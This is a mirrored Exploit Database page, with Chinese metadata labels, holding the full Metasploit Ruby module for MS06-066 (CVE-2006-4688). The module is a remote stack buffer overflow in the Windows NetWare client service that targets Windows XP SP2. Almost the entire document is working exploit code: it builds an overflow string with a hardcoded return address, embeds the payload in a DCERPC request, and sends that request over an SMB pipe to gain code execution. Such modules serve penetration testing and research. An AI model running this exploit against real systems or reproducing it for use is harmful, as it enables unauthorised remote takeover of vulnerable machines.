Microsoft Services – ‘nwwks.dll’ (MS06-066) (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16369/

• ##
  # $Id: ms06_066_nwwks.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::DCERPC
  	include Msf::Exploit::Remote::SMB
  
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft Services MS06-066 nwwks.dll',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the svchost service, when the netware
  				client service is running. This specific vulnerability is in the nwapi32.dll module.
  			},
  			'Author' => [ 'pusscat' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-4688'],
  					[ 'OSVDB', '30260'],
  					[ 'BID', '21023'],
  					[ 'MSB', 'MS06-066'],
  
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'thread',
  				},
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "",
  					'Compat' =>
  					{
  						# -ws2ord XXX?
  					},
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						'Windows XP SP2',
  						{
  							'Ret'=> 0x616566fb, # modemui.dll [esp + 16]: popaw, ret
  						},
  					]
  				],
  
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Nov 14 2006'))
  
  		register_options(
  			[
  				OptString.new('SMBPIPE', [ true,"The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'nwwks']),
  			], self.class)
  
  	end
  
  	def exploit
  		# [in] [unique] wchar *
  		# [in] [unique] wchar *
  		# [out] long
  
  		ofstring= Rex::Text.to_unicode('\\\\') + rand_text(292) + [ target.ret ].pack('V') + "\x00\x00"
  		stubdata =
  			NDR.long(rand(0xffffffff)) +
  				NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +
  			NDR.long(rand(0xffffffff)) +
  				NDR.UnicodeConformantVaryingStringPreBuilt(payload.encoded + "\x00\x00") +
  			NDR.long(rand(0xffffffff)) +
  				NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +
  			NDR.long(rand(0xffffffff)) +
  				NDR.UnicodeConformantVaryingString(rand_text(rand(128)) + "\x00") +
  				NDR.UnicodeConformantVaryingStringPreBuilt(ofstring)
  
  		print_status("Connecting to the SMB service...")
  		connect()
  		smb_login()
  
  		handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
  		print_status("Binding to #{handle} ...")
  		dcerpc_bind(handle)
  		print_status("Bound to #{handle} ...")
  
  		print_status("Calling the vulnerable function...")
  
  		begin
  			dcerpc.call(0x01, stubdata)
  		rescue Rex::Proto::DCERPC::Exceptions::NoResponse
  			print_status('Server did not respond, this is expected')
  		rescue => e
  			if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
  				print_status('Server disconnected, this is expected')
  			else
  				raise e
  			end
  		else
  			print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")
  		end
  
  		# Cleanup
  		handler
  		disconnect
  
  		if (dcerpc.last_response != nil and
  			dcerpc.last_response.stub_data != nil and
  			dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
  			return true
  		else
  			return false
  		end
  	end
  
  end